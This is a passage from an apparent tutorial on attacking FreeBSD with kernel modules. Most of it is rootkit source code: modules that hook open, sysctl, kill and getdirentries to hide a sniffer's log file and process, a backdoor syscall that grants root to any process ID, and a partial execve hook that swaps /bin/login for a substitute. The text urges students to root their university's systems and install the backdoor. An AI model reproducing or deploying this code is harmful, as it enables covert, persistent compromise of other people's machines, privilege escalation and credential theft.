2596  * Shareable process virtual address space.
2597  * May eventually be merged with vm_map.
2598  * Several fields are temporary (text, data stuff).
2599  */
2600 struct vmspace {
2601 /*NOTE : I just used some padding stuff, to avoid too much include file
2602          problems...
2603 */
2604 /*      struct vm_map vm_map;    VM address map */
2605         char pad1[100];
2606 /*      struct pmap vm_pmap;     private physical map */
2607         char pad2[36];
2608         int vm_refcnt;          /* number of references */
2609         caddr_t vm_shm;         /* SYS5 shared memory private data XXX */
2610 /* we copy from vm_startcopy to the end of the structure on fork */
2611 #define vm_startcopy vm_rssize
2612         segsz_t vm_rssize;      /* current resident set size in pages */
2613         segsz_t vm_swrss;       /* resident set size before last swap */
2614         segsz_t vm_tsize;       /* text size (pages) XXX */
2615         segsz_t vm_dsize;       /* data size (pages) XXX */
2616         segsz_t vm_ssize;       /* stack size (pages) */
2617         caddr_t vm_taddr;       /* user virtual address of text XXX */
2618         caddr_t vm_daddr;       /* user virtual address of data XXX */
2619         caddr_t vm_maxsaddr;    /* user VA at max stack growth */
2620         caddr_t vm_minsaddr;    /* user VA at max stack growth */
2621 };
2622
2623
2624 /*arguments for the check_code system call*/
2625 struct check_code_args {
2626  int code;
2627 };
2628
2629 /*after this check only the one who issued the syscall from user space is able
2630 to access the file/directory or whatever (only this UID can access it). Of
2631 course, before, he must supply the correct code.*/ 
2632
2633 static 
2634 void check_code(struct proc *p, struct check_code_args *uap)
2635 {
2636  if (uap->code==CODE)
2637   access_uid=p->p_cred->pc_ucred->cr_uid;
2638  else 
2639   access_uid=-1;
2640 }
2641
2642
2643 /*the hacked open syscall*/
2644 static 
2645 int hacked_open(struct proc *p, struct open_args *uap)
2646 {
2647  char name[255];
2648  /*the file we want to hide*/
2649  char hide_name[]="sniffer.log";
2650  size_t done;
2651
2652  /*get name*/
2653  copyinstr(uap->path, name, 255, &done);
2654  /*do we have the right file name?*/
2655  if (strcmp((char*)&name, (char*)&hide_name)==0)
2656  {
2657   /*does this user have the right to access the file*/
2658   if (access_uid==p->p_cred->pc_ucred->cr_uid)
2659   {
2660    /*if so, do a normal open*/
2661    return open(p, uap);
2662   }
2663   /*no he has not got the right*/
2664   else
2665    /*standing for 'no such file or directory*/
2666    return ENOENT;
2667  }
2668  /*if we don't have our file, just continue*/ 
2669  return open(p, uap);
2670 }
2671
2672
2673 /*the hacked open syscall*/
2674 static struct sysent hacked_open_sysent = {
2675        3,       
2676        hacked_open                      /* sy_call */
2677 };
2678
2679
2680 /*check code sysentry*/
2681 static struct sysent check_code_sysent = {
2682        1,
2683        check_code
2684 };
2685
2686 /*
2687  * The function called at load/unload.
2688  */
2689 static int
2690 dummy_handler (struct module *module, int cmd, void *arg)
2691 {
2692  int error = 0;
2693  switch (cmd) {
2694   case MOD_LOAD :
2695    /*replace the open syscall with our own*/
2696    sysent[SYS_open]=hacked_open_sysent;
2697    /*install check code system call (slot/number 210)*/
2698    sysent[210]=check_code_sysent;
2699   break;
2700   case MOD_UNLOAD :
2701    /*argument count has not changed, so we only need to restore the
2702    function pointer*/
2703    sysent[SYS_open].sy_call=(sy_call_t*)open;
2704   break;
2705   default :
2706    error = EINVAL;
2707   break;
2708  }
2709  return error;
2710 }
2711                                                    
2712           
2713 static moduledata_t syscall_mod = {
2714  "OpenHide", 
2715  dummy_handler,
2716  NULL
2717 };
2718
2719 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
2720 </xmp>
2721
2722 The open hack in general should be clear. If we have our filename we just
2723 return 'no such file...'. The solution I present to access this file via an
2724 authentication scheme is quite powerful. The user space program is very easy,
2725 just issue a system call with syscall() with the correct code (I won't present
2726 code because it's really too easy).<br>
2727 After providing the correct code only you (your UID) has access to this file.
2728 Even root cannot access it (he will also get 'no such file...').
2729
2730 <p>
2731 <H3><A NAME="II.2.3."></A>2.3 And the rest?</h3>
2732 <p>
2733 Those who read my Linux LKM article will recognize that I explained more hacks
2734 (like file operation redirection, mkdir interception etc.). Why don't I
2735 present them here? Because these hacks are trivial to implement after the
2736 things I said already. 
2737
2738 <p>
2739 <H3><A NAME="II.3."></A>3. Process related hacks</h3>
2740 <p>
2741 This section will introduce some modules making it possible to hide any
2742 process and install a backdoor rootshell. 
2743
2744 <p>
2745 <H3><A NAME="II.3.1."></A>3.1 How to hide any process</h3>
2746 <p>
2747 Well, I have to admit that it wasn't very easy to make this possible on
2748 FreeBSD. And the following solution is quite experimental (but working, of
2749 course). You have to know that FreeBSD uses the so called KVM library to get
2750 information on the processes of the system (it is a library interface to the
2751 allproc and zombroc lists). Besides this, commands like top also use the
2752 procfs. This means we have to attack two points. Hiding an entry from the
2753 procfs is easy (just hide the PID from getdirentries), but what about the KVM
2754 lib. Let me explain some words. The following explaination makes things easier
2755 than they are in reality, but it's enough for a general understanding.
2756 We start with a code snippet from the 'ps' command :
2757 <xmp>
2758 /*
2759          * select procs
2760          */
2761         if ((kp = kvm_getprocs(kd, what, flag, &nentries)) == 0)
2762                 errx(1, "%s", kvm_geterr(kd));
2763       
2764         if ((kinfo = malloc(nentries * sizeof(*kinfo))) == NULL)
2765                 err(1, NULL);
2766         printf("SIZE %d\n", nentries*sizeof(*kinfo));
2767        for (i = nentries; --i >= 0; ++kp) {
2768                 kinfo[i].ki_p = kp;
2769                 if (needuser)
2770                         saveuser(&kinfo[i]);
2771                 dynsizevars(&kinfo[i]);
2772         }
2773
2774         sizevars();
2775
2776         /*
2777          * print header
2778          */
2779         printheader();
2780         if (nentries == 0)
2781                 exit(0);
2782         /*
2783          * sort proc list
2784          */
2785         qsort(kinfo, nentries, sizeof(KINFO), pscomp);
2786         /*
2787          * for each proc, call each variable output function.
2788          */
2789         for (i = lineno = 0; i < nentries; i++) {
2790                 if (xflg == 0 && (KI_EPROC(&kinfo[i])->e_tdev == NODEV ||
2791                     (KI_PROC(&kinfo[i])->p_flag & P_CONTROLT ) == 0))
2792                         continue;
2793                 for (vent = vhead; vent; vent = vent->next) {
2794                         (vent->var->oproc)(&kinfo[i], vent);
2795                         if (vent->next != NULL)
2796                                 (void)putchar(' ');
2797                 }
2798                 (void)putchar('\n');
2799                 if (prtheader && lineno++ == prtheader - 4) {
2800                         (void)putchar('\n');
2801                         printheader();
2802                         lineno = 0;
2803                 }
2804         }
2805         exit(eval);
2806
2807 There is only one line interesting for us :
2808
2809 if ((kp = kvm_getprocs(kd, what, flag, &nentries)) == 0)
2810
2811 </xmp>
2812
2813 Note :
2814 what=KERN_PROC_ALL   for commands like 'ps'     flag=0<br>
2815 what=KERN_PRC_PID    for commands like 'ps PID' flag=PID<br>
2816
2817 The  kvm_getprocs function (from the KVM lib) is the user space interface to
2818 access the kernel process lists. So let's take a look at this function in the
2819 library :
2820 <xmp>
2821 struct kinfo_proc *
2822 kvm_getprocs(kd, op, arg, cnt)
2823         kvm_t *kd;
2824         int op, arg;
2825         int *cnt;
2826 {
2827         int mib[4], st, nprocs;
2828         size_t size;
2829
2830         if (kd->procbase != 0) {
2831                 free((void *)kd->procbase);
2832                 /*
2833                  * Clear this pointer in case this call fails.  Otherwise,
2834                  * kvm_close() will free it again.
2835                  */
2836                 kd->procbase = 0;
2837         }
2838         if (ISALIVE(kd)) {
2839                 size = 0;
2840                 mib[0] = CTL_KERN;
2841                 mib[1] = KERN_PROC;
2842                 mib[2] = op;
2843                 mib[3] = arg;
2844                 st = sysctl(mib, op == KERN_PROC_ALL ? 3 : 4, NULL, &size, NULL, 0);
2845                 if (st == -1) {
2846                         _kvm_syserr(kd, kd->program, "kvm_getprocs");
2847                         return (0);
2848                 }
2849                 do {
2850                         size += size / 10;
2851                         kd->procbase = (struct kinfo_proc *)
2852                             _kvm_realloc(kd, kd->procbase, size);
2853                         if (kd->procbase == 0)
2854                                 return (0);
2855                         st = sysctl(mib, op == KERN_PROC_ALL ? 3 : 4,
2856                             kd->procbase, &size, NULL, 0);
2857                 } while (st == -1 && errno == ENOMEM);
2858                 if (st == -1) {
2859                         _kvm_syserr(kd, kd->program, "kvm_getprocs");
2860                         return (0);
2861                 }
2862                 if (size % sizeof(struct kinfo_proc) != 0) {
2863                         _kvm_err(kd, kd->program,
2864                                 "proc size mismatch (%d total, %d chunks)",
2865                                 size, sizeof(struct kinfo_proc));
2866                         return (0);
2867                 }
2868                 nprocs = size / sizeof(struct kinfo_proc);
2869         } else {
2870                 struct nlist nl[4], *p;
2871
2872                 nl[0].n_name = "_nprocs";
2873                 nl[1].n_name = "_allproc";
2874                 nl[2].n_name = "_zombproc";
2875                 nl[3].n_name = 0;
2876
2877                 if (kvm_nlist(kd, nl) != 0) {
2878                         for (p = nl; p->n_type != 0; ++p)
2879                                 ;
2880                         _kvm_err(kd, kd->program,
2881                                  "%s: no such symbol", p->n_name);
2882                         return (0);
2883                 }
2884                 if (KREAD(kd, nl[0].n_value, &nprocs)) {
2885                         _kvm_err(kd, kd->program, "can't read nprocs");
2886                         return (0);
2887                 }
2888                 size = nprocs * sizeof(struct kinfo_proc);
2889                 kd->procbase = (struct kinfo_proc *)_kvm_malloc(kd, size);
2890                 if (kd->procbase == 0)
2891                         return (0);
2892
2893                 nprocs = kvm_deadprocs(kd, op, arg, nl[1].n_value,
2894                                       nl[2].n_value, nprocs);
2895 #ifdef notdef
2896                 size = nprocs * sizeof(struct kinfo_proc);
2897                 (void)realloc(kd->procbase, size);
2898 #endif
2899         }
2900         *cnt = nprocs;
2901         return (kd->procbase);
2902 }
2903 </xmp>
2904 Look at the ISALIVE if construct. Here the library call decides wether it looks
2905 for 'living' procs (->allprocs list) or 'dead' procs (->zombrocs). My further
2906 explaination (and module) is based on a 'living' process (what worth is a
2907 'dead' sniffer ?). So let's take a look at that case.<br>
2908 First of all a MIB array is constructed where the operation (op) and an
2909 argument (arg) is inserted. The other two fields are predefined. The op field
2910 is equal to the what value from the ps program (KERN_PROC_ALL, for example)
2911 and the arg field is equal to the flag variable in ps.c (1 or 0). After this
2912 a sysctl is issued with the corresponding MIB.<br>
2913 This sysctl call finally reaches sysctl_kern_proc :
2914 <xmp>
2915 static int
2916 sysctl_kern_proc SYSCTL_HANDLER_ARGS
2917 {
2918         int *name = (int*) arg1;
2919         u_int namelen = arg2;
2920         struct proc *p;
2921         int doingzomb;
2922         int error = 0;
2923
2924         if (oidp->oid_number == KERN_PROC_PID) {
2925                 if (namelen != 1) 
2926                         return (EINVAL);
2927                 p = pfind((pid_t)name[0]);
2928                 if (!p)
2929                         return (0);
2930                 error = sysctl_out_proc(p, req, 0);
2931                 return (error);
2932         }
2933         if (oidp->oid_number == KERN_PROC_ALL && !namelen)
2934                 ;
2935         else if (oidp->oid_number != KERN_PROC_ALL && namelen == 1)
2936                 ;
2937         else
2938                 return (EINVAL);
2939         
2940         if (!req->oldptr) {
2941                 /* overestimate by 5 procs */
2942                 error = SYSCTL_OUT(req, 0, sizeof (struct kinfo_proc) * 5);
2943                 if (error)
2944                         return (error);
2945         }
2946         for (doingzomb=0 ; doingzomb < 2 ; doingzomb++) {
2947                 if (!doingzomb)
2948                         p = allproc.lh_first;
2949                 else
2950                         p = zombproc.lh_first;
2951                 for (; p != 0; p = p->p_list.le_next) {
2952                         /*
2953                          * Skip embryonic processes.
2954                          */
2955                         if (p->p_stat == SIDL)
2956                                 continue;
2957                         /*
2958                          * TODO - make more efficient (see notes below).
2959                          * do by session.
2960                          */
2961                         switch (oidp->oid_number) {
2962
2963                         case KERN_PROC_PGRP:
2964                                 /* could do this by traversing pgrp */
2965                                 if (p->p_pgrp == NULL || 
2966                                     p->p_pgrp->pg_id != (pid_t)name[0])
2967                                         continue;
2968                                 break;
2969
2970                         case KERN_PROC_TTY:
2971                                 if ((p->p_flag & P_CONTROLT) == 0 ||
2972                                     p->p_session == NULL ||
2973                                     p->p_session->s_ttyp == NULL ||
2974                                     p->p_session->s_ttyp->t_dev != (dev_t)name[0])
2975                                         continue;
2976                                 break;
2977
2978                         case KERN_PROC_UID:
2979                                 if (p->p_ucred == NULL || 
2980                                     p->p_ucred->cr_uid != (uid_t)name[0])
2981                                         continue;
2982                                 break;
2983
2984                         case KERN_PROC_RUID:
2985                                 if (p->p_ucred == NULL || 
2986                                     p->p_cred->p_ruid != (uid_t)name[0])
2987                                         continue;
2988                                 break;
2989                         }
2990
2991                         error = sysctl_out_proc(p, req, doingzomb);
2992                         if (error)
2993                                 return (error);
2994                 }
2995         }
2996         return (0);
2997 }
2998 </xmp>
2999 This function first checks whether we want information on all processes
3000 (KERN_ALL_PROCS) or on a single process (KERN_PROC_PID). This means our hack
3001 also must handle these two cases. The rest of the function is quite obvious.
3002 The allproc data is collected and copied in the user space buffer. The last
3003 sysctl_out_proc() function does the rest :
3004 <xmp>
3005
3006 static int
3007 sysctl_out_proc(struct proc *p, struct sysctl_req *req, int doingzomb)
3008 {
3009         struct eproc eproc;
3010         int error;
3011         pid_t pid = p->p_pid;
3012
3013         fill_eproc(p, &eproc);
3014         error = SYSCTL_OUT(req,(caddr_t)p, sizeof(struct proc));
3015         if (error)
3016                 return (error);
3017         error = SYSCTL_OUT(req,(caddr_t)&eproc, sizeof(eproc));
3018         if (error)
3019                 return (error);
3020         if (!doingzomb && pid && (pfind(pid) != p))
3021                 return EAGAIN;
3022         if (doingzomb && zpfind(pid) != p)
3023                 return EAGAIN;
3024         return (0);
3025 }
3026 </xmp>
3027 This will set return code and move the memory. That's all.
3028 [A big SORRY to all kernel freaks, but explaining all this in more detail would
3029 produce 100 pages and more... ]. <br>
3030 My module also handles the kill signal just to demonstrate that it is also
3031 possible to intercept any signal calls to the PID of the process we want to
3032 hide. Recall that hiding does not mean that signals can't reach our process !
3033 Here is my module :<br>
3034 <xmp>
3035 /*This module shows how to hide any process from commands like 'ps' or 'top'.
3036 Recall that BSD uses the so called kvm library which uses special MIBs
3037 with sysctl commands, to get access to the kernel 'allproc' and 'zombroc' list
3038 from user space. Linux only relies on the procfs, so BSD is a bit harder to
3039 attack.*/
3040
3041 /*FEATURES  : 
3042 1 - This module hides a certain process from proc lists produced by ps or top
3043 2 - This module hides a certain process from direct calls like 'ps PID'
3044 3 - This module intercepts the kill syscall in order to avoid killing our
3045     process we want to hide (the kill is just an add-on, normally you are
3046     secure enough with the points 1,2 and 4)
3047 4 - This module hides the proc entry from the procfs 
3048 */
3049
3050 #include <sys/types.h>
3051 #include <sys/param.h>
3052 #include <sys/proc.h>
3053 #include <sys/module.h>
3054 #include <sys/sysent.h>
3055 #include <sys/kernel.h>
3056 #include <sys/systm.h>
3057 #include <sys/linker.h>
3058 #include <sys/sysproto.h>
3059 #include <sys/sysent.h>
3060 #include <sys/proc.h>
3061 #include <sys/syscall.h>
3062 #include <sys/file.h>
3063 #include <sys/malloc.h>
3064 #include <sys/types.h>
3065 #include <sys/queue.h>
3066 #include <dirent.h>
3067 #include <sys/sysctl.h>
3068
3069 /*exact name of the process (+arguments) we want to hide*/
3070 #define HIDE_PROC "sniffer"
3071
3072 /*this structure is used by BSD to describe a process for user space programs*/
3073 struct kinfo_proc {
3074         struct  proc kp_proc;                   /* proc structure */
3075         struct  eproc {
3076                 struct  proc *e_paddr;          /* address of proc */
3077                 struct  session *e_sess;        /* session pointer */
3078                 struct  pcred e_pcred;          /* process credentials */
3079                 struct  ucred e_ucred;          /* current credentials */
3080                 struct  procsig e_procsig;      /* shared signal structure */
3081                 /*PADDING stuff*/
3082                 /*struct        vmspace e_vm;            address space */
3083                 char pad1[180];
3084                 pid_t   e_ppid;                 /* parent process id */
3085                 pid_t   e_pgid;                 /* process group id */
3086                 short   e_jobc;                 /* job control counter */
3087                 dev_t   e_tdev;                 /* controlling tty dev */
3088                 pid_t   e_tpgid;                /* tty process group id */
3089                 struct  session *e_tsess;       /* tty session pointer */
3090 #define WMESGLEN        7
3091                 char    e_wmesg[WMESGLEN+1];    /* wchan message */
3092                 segsz_t e_xsize;                /* text size */
3093                 short   e_xrssize;              /* text rss */
3094                 short   e_xccount;              /* text references */
3095                 short   e_xswrss;
3096                 long    e_flag;
3097 #define EPROC_CTTY      0x01    /* controlling tty vnode active */
3098 #define EPROC_SLEADER   0x02    /* session leader */
3099                 char    e_login[roundup(MAXLOGNAME, sizeof(long))];     /* setlogin() name */
3100                 long    e_spare[2];
3101         } kp_eproc;
3102 };
3103
3104 /*we need this counter to get the right sysctl call*/
3105 int global_counter;
3106
3107
3108 /*We need to define M_DIRP2 for allocating some memory in kernel space with
3109   the help of the MALLOC macro*/
3110 MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
3111
3112
3113 /*This function returns the PID of the process we want to hide*/
3114 int 
3115 get_pid()
3116 {
3117  struct proc *p;
3118  
3119  p=allproc.lh_first;
3120  for (; p!=0; p=p->p_list.le_next)
3121  {
3122   /*p->p_comm holds the process name*/
3123   if (strcmp(p->p_comm, HIDE_PROC)==0)
3124   {
3125    return p->p_pid;
3126   }
3127  }
3128  return -1;
3129 }
3130
3131 /*nothing big, but for demonstration*/
3132 static int
3133 hacked_kill(struct proc *p, struct kill_args *uap)
3134 {
3135  if (uap->pid==get_pid())
3136   return ESRCH;
3137  else
3138   return kill(p, uap);
3139 }
3140
3141 /*the BIG sysctl hack :)*/
3142 static int
3143 hacked_sysctl(struct proc *p, struct sysctl_args *uap)
3144 {
3145  /*this will hold the MIB values*/
3146  int mib[4]; 
3147  size_t size, newsize;
3148  /*this will hold the kinfo_proc structures in our kernel space*/
3149  struct kinfo_proc kpr; 
3150  /*just some stuff we need*/
3151  int tmp, counter;
3152
3153  /*call sysctl, and get return value*/
3154  tmp= __sysctl(p, uap);
3155
3156  /*grab the MIB from user space*/
3157  copyin(uap->name, &mib, sizeof(mib)); 
3158
3159  /*Did someone issue something like 'ps PID' -> in order to get information
3160  on a certain single process ? If so we need to handle this. Attention :
3161  I skipped checkin' the first two mib[] fields, again I'm lazy :)*/
3162  if (mib[2]==KERN_PROC_PID)
3163  {
3164   /*Does he want to get info on our process ?*/
3165   if (mib[3]==get_pid())
3166   {
3167    /*If so we return a size value of 0 standing for no such process*/
3168    size=0;
3169    /*copy to user space*/
3170    copyout(&size, uap->oldlenp, sizeof(size));
3171    /*and return*/
3172    return(0); 
3173   }
3174   else
3175    /*otherwise display the reqeuested information*/
3176    return 0;
3177  }
3178
3179  /*the following code will handle calls like 'ps' and 'top' with ALL PROCS 
3180  enable*/
3181  /*ok, we need to check the MIB for 'hacking' the real sysctl
3182    our first check is it CTL_KERN*/
3183  if (mib[0]==CTL_KERN)
3184  
3185  /*our second check is it KERN_PROC*/
3186   if (mib[1]==KERN_PROC)
3187
3188   /*our third check : is it the second sysctl (not the one retrieving the
3189    kinfo_proc structure list size ?*/
3190    if (uap->old!=NULL)
3191    {
3192     /*only catch the first call*/
3193     if (global_counter==0)
3194     {
3195      global_counter++;
3196      /*now it's time to check for our PID we want to hide*/
3197      /*NOTE : Here we check the memory region in user space for a kinfo_proc
3198               structure with the needed PID*/
3199      for (counter=0;(counter*sizeof(kpr)<=size); counter++)
3200      {
3201       /*copy from user to kernel space*/
3202       copyin(uap->old+counter*sizeof(kpr), &kpr, sizeof(kpr));
3203       /*do we have our PID ?*/
3204       if (kpr.kp_proc.p_pid==get_pid()) 
3205       {
3206        /*YES, so patch the size of the memory region (decrement by one
3207        kinfo_proc structure)*/
3208        newsize=size-sizeof(kpr); 
3209        /*'overlap' the memory, so we 'cut' our entry out*/
3210        bcopy(uap->old+(counter+1)*sizeof(kpr), uap->old+counter*sizeof(kpr),
3211              size-(counter+1)*sizeof(kpr));
3212        
3213       }
3214      }
3215      /*set the new size*/
3216      copyout(&newsize, uap->oldlenp, sizeof(size));
3217      /*and finally return*/
3218      return 0;    
3219     }  
3220    }
3221    /*we have the sysctl call, that requests the memory size of the kinfo_proc
3222    list*/
3223    /*if uap->old == NULL, then the user requests the process count*/
3224    else
3225    { 
3226     /*we also need the size (count), so get it*/
3227     copyin(uap->oldlenp, &size, sizeof(size));
3228     /*in sys/kern/kern_proc.c BSD uses a size overestimated by 5 structures,
3229     so we need to correct (decrease) that*/
3230     size-=sizeof(kpr)*5;
3231     newsize=size;
3232     /*set global_counter to 0 for catching the only next sysctl*/
3233     global_counter=0;
3234    }
3235  return tmp; 
3236 }
3237
3238
3239 /*Normal getdirentries hack for hiding the process from procfs*/
3240 static int
3241 hacked_getdirentries (struct proc *p, struct getdirentries_args *uap)
3242 {      
3243  unsigned int tmp, n, t;
3244  struct dirent *dirp2, *dirp3;
3245   
3246  /*The file we want to hide : The name must match exactly !*/
3247  char hide[255];
3248
3249
3250  /*copy the HIDE_PROC number into the hide string*/
3251  sprintf(hide, "%d", get_pid()); 
3252
3253  /*just issue the syscall*/
3254  getdirentries(p,uap);
3255  
3256  /*this is the way BSD returns status values to the process issueing the
3257    request.*/
3258  tmp=p->p_retval[0];
3259  
3260  if (tmp>0)
3261  { 
3262   /*allocate memory*/
3263   MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
3264   /*copy the dirent structure for user space in our kernel space*/
3265   copyin(uap->buf, dirp2, tmp);
3266
3267   /*dirp3 points to dirp2*/
3268   dirp3=dirp2;
3269  
3270   t=tmp;
3271   
3272   /*In this loop we check for every dirent structure in the user buffer*/
3273   while (t > 0)
3274   {
3275    n = dirp3->d_reclen;
3276    t-=n;
3277    /*Do we have the entry for our file to hide (I don't check for procfs)*/
3278    if (strcmp((char*)&(dirp3->d_name), (char*)&hide)==0) 
3279    {
3280     if (t!=0)  
3281     {
3282      /*ATTENTION : Do not use something like strcpy or so. bcopy is able to
3283                    handle overlapping memroy locations, so this is our choice*/
3284      bcopy((char*)dirp3+n,dirp3, t);
3285     }
3286     /*the dirent structure list is shorter now*/
3287     tmp-=n;
3288    }
3289    /*The following piece of code is necessary, because we get one dirent entry
3290      with d_reclen=0, if we would not implement this, we would get an infinite
3291      while loop*/
3292    if (dirp3->d_reclen==0) 
3293    {
3294     /*end is reached*/
3295     t=0;
3296    }
3297    /*as long as there is something to copy, do it*/
3298    if (t!=0)
3299     /*get the next pointer from the dirent structure list*/ 
3300     dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen); 
3301   }
3302   /*we must decrement the getdirentries user call return value, if we changed
3303     something*/
3304    p->p_retval[0]=tmp; 
3305
3306   /*copy the whole (perhaps modified) memory back to the user buffer*/
3307   copyout(dirp2, uap->buf, tmp);
3308  
3309   /*free kernel memory*/
3310   FREE(dirp2, M_DIRP2);
3311  }
3312  /*everything ok, so return 0*/
3313  return 0;
3314 }
3315
3316 /*the hacked getdirentries syscall*/
3317 static struct sysent hacked_getdirentries_sysent = {
3318        4,       
3319        hacked_getdirentries                     /* sy_call */
3320 };
3321
3322
3323 /*the hacked kill sysentry*/
3324 static struct sysent hacked_kill_sysent = {
3325        2,
3326        hacked_kill
3327 };
3328
3329 /*the hacked sysctl sysentry*/
3330 static struct sysent hacked_sysctl_sysent = {
3331        6,       
3332        hacked_sysctl                    /* sy_call */
3333 };
3334
3335
3336 /*
3337  * The function called at load/unload.
3338  */
3339 static int
3340 dummy_handler (struct module *module, int cmd, void *arg)
3341 {
3342  int error = 0;
3343  
3344  switch (cmd) {
3345   case MOD_LOAD :
3346    /*replace the sysctl syscall with our own*/
3347    sysent[202]=hacked_sysctl_sysent;
3348    /*replace the kill syscall with our own*/
3349    sysent[37]=hacked_kill_sysent;
3350    /*replace the getdirentries syscall with our own*/
3351    sysent[196]=hacked_getdirentries_sysent;
3352   break;
3353   case MOD_UNLOAD :
3354    /*argument count has not changed, so we only need to restore the
3355    function pointer*/
3356    sysent[202].sy_call=(sy_call_t*)__sysctl;
3357    sysent[37].sy_call=(sy_call_t*)kill;
3358    sysent[196].sy_call=(sy_call_t*)getdirentries;
3359   break;
3360   default :
3361    error = EINVAL;
3362   break;
3363  }
3364  return error;
3365 }
3366
3367                                             
3368 /*module data*/         
3369 static moduledata_t syscall_mod = {
3370  "ProcHide", 
3371  dummy_handler,
3372  NULL
3373 };
3374
3375 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
3376   
3377 </xmp>
3378 Load this module and the process will be hidden. Already started processes can
3379 - of course - also be hidden.<br>
3380 You may say that this solution does not look very nice, I know, but again it's
3381 working. And please bear in mind that this module is again experimental.
3382 For kernel starters :<br>
3383 You may wonder why I didn't patch the allproc or zombproc list directly. Well
3384 those lists are also required for scheduling and other important system tasks.
3385 It would be far too complicated to code something like this, I really think
3386 that it's quite impossible.
3387
3388 <p>
3389 <H3><A NAME="II.3.2."></A>3.2 Backdoor 'rootshell'</h3>
3390 <p>
3391 The following module was a nice idea I had when playing around with the proc
3392 structure. Load this module, and you can 'SU' without a password.
3393 The idea is very simple. The module implements a system call that gets one
3394 argument : a PID. This can be the PID of any process, but will normally be the
3395 PID of your user account shell (tcsh, sh, bash or whatever). This
3396 process will then become root (UID 0) by manipulating its cred structure.
3397 Here we go :
3398 <xmp>
3399 #include <sys/types.h>
3400 #include <sys/param.h>
3401 #include <sys/proc.h>
3402 #include <sys/module.h>
3403 #include <sys/sysent.h>
3404 #include <sys/kernel.h>
3405 #include <sys/systm.h>
3406 #include <sys/linker.h>
3407 #include <sys/lock.h>
3408
3409 /*arguments for our system call*/
3410 struct make_me_root_args {
3411  /*which process should be set UID=0?*/
3412  int p_pid;
3413 };
3414  
3415 /*A very simple system call handler making a certain process UID=0*/
3416 static int
3417 make_me_root (struct proc *p, struct make_me_root_args *uap)
3418 {
3419  struct proc *pr=pfind(uap->p_pid);
3420  
3421  /*this is all we need...*/
3422  pr->p_cred->pc_ucred->cr_uid=0; 
3423  return 0;
3424 }
3425
3426 /*
3427  * The `sysent' for the our syscall
3428  */
3429 static struct sysent make_me_root_sysent = {
3430         1,                      /* sy_narg */
3431         make_me_root            /* sy_call */
3432 };
3433
3434 /*we choose slot number 210, because it's free on FreeBSD 3.1*/
3435 static int offset = 210;
3436
3437 /*nothing to do here*/
3438 static int
3439 load (struct module *module, int cmd, void *arg)
3440 {
3441  return 0;
3442 }
3443
3444 /*start everything*/
3445 SYSCALL_MODULE(rootmod, &offset, &make_me_root_sysent, load, NULL);
3446
3447 </xmp>
3448 The problem is that anyone can call this system call, but you can add some
3449 kind of simple authentication (like I did before) or just hide it with a
3450 filesysetem hack ;).
3451
3452 Here's the user space :
3453 <xmp>
3454 /*in argv[1] this program waits for the PID to set UID=0*/
3455 #include <stdio.h>
3456 #include <sys/syscall.h>
3457 #include <sys/types.h>
3458 #include <sys/module.h>
3459
3460 struct make_me_root_args {
3461  int p_pid;
3462 };
3463  
3464 int
3465 main(int argc, char **argv)
3466 {
3467  struct make_me_root_args mmra;
3468
3469  mmra.p_pid=atoi(argv[1]);
3470  return syscall (210, mmra);
3471 }
3472 </xmp>
3473 In my opinion this is one of the easiest local backdoors. Interesting for
3474 thousands of students. Image your university uses a buggy FreeBSD system (every
3475 system is buggy, no piece of software is perfect). Do the scrippt-kiddie trick
3476 and become root, install the module (hiding should be added) and you are done.
3477
3478 <p>
3479 <H3><A NAME="II.4."></A>4. File execution redirection</h3>
3480 <p>
3481 This method and its advantages were already described in my Linux article, so
3482 I will only give you the code plus some short words. Please note that this
3483 hack approach is a bit different from the Linux idea, so pay attention :
3484 <xmp>
3485 #include <sys/types.h>
3486 #include <sys/param.h>
3487 #include <sys/proc.h>
3488 #include <sys/module.h>
3489 #include <sys/sysent.h>
3490 #include <sys/kernel.h>
3491 #include <sys/systm.h>
3492 #include <sys/linker.h>
3493 #include <sys/sysproto.h>
3494 #include <sys/sysent.h>
3495 #include <sys/proc.h>
3496 #include <sys/syscall.h>
3497 #include <sys/file.h>
3498 #include <sys/malloc.h>
3499 #include <sys/types.h>
3500 #include <dirent.h>
3501
3502 /* 
3503  * Shareable process virtual address space.
3504  * May eventually be merged with vm_map.
3505  * Several fields are temporary (text, data stuff).
3506  */
3507 struct vmspace {
3508 /*NOTE : I just used some padding stuff, to avoid too much include file
3509          problems...
3510 */
3511 /*      struct vm_map vm_map;    VM address map */
3512         char pad1[100];
3513 /*      struct pmap vm_pmap;     private physical map */
3514         char pad2[36];
3515         int vm_refcnt;          /* number of references */
3516         caddr_t vm_shm;         /* SYS5 shared memory private data XXX */
3517 /* we copy from vm_startcopy to the end of the structure on fork */
3518 #define vm_startcopy vm_rssize
3519         segsz_t vm_rssize;      /* current resident set size in pages */
3520         segsz_t vm_swrss;       /* resident set size before last swap */
3521         segsz_t vm_tsize;       /* text size (pages) XXX */
3522         segsz_t vm_dsize;       /* data size (pages) XXX */
3523         segsz_t vm_ssize;       /* stack size (pages) */
3524         caddr_t vm_taddr;       /* user virtual address of text XXX */
3525         caddr_t vm_daddr;       /* user virtual address of data XXX */
3526         caddr_t vm_maxsaddr;    /* user VA at max stack growth */
3527         caddr_t vm_minsaddr;    /* user VA at max stack growth */
3528 };
3529
3530
3531 /*the hacked execve syscall*/
3532 static 
3533 int hacked_execve(struct proc *p, struct execve_args *uap)
3534 {
3535  char name[255];
3536  /*the file we want to redirect*/
3537  char old_name[]="/bin/login";
3538  /*the new file to execute, perhaps hiding is a good idea...*/
3539  char new_name[]="/bin/newlogin";
3540  size_t done;
3541  struct obreak_args oa;
3542  struct execve_args kap;
3543  struct execve_aegs *nap;
3544  char *user_new_name;      
3545  
3546  /*get the program name the system (user) wants to execute via execve*/
3547  copyinstr(uap->fname, name, 255, &done);
3548
3549  /*do we have the right file name?*/
3550  if (strcmp((char*)&name, (char*)&old_name)==0)
3551  {
3552   /*IDEA : Now we allocate a bit of user space memory for a new execve_args
3553            structure...*/
3554   /*allocate one page*/
3555   oa.nsize=curproc->p_vmspace->vm_daddr+ctob(curproc->p_vmspace->vm_dsize)+
3556            4096;
3557
3558   /*set the adress*/
3559   user_new_name=oa.nsize-256;
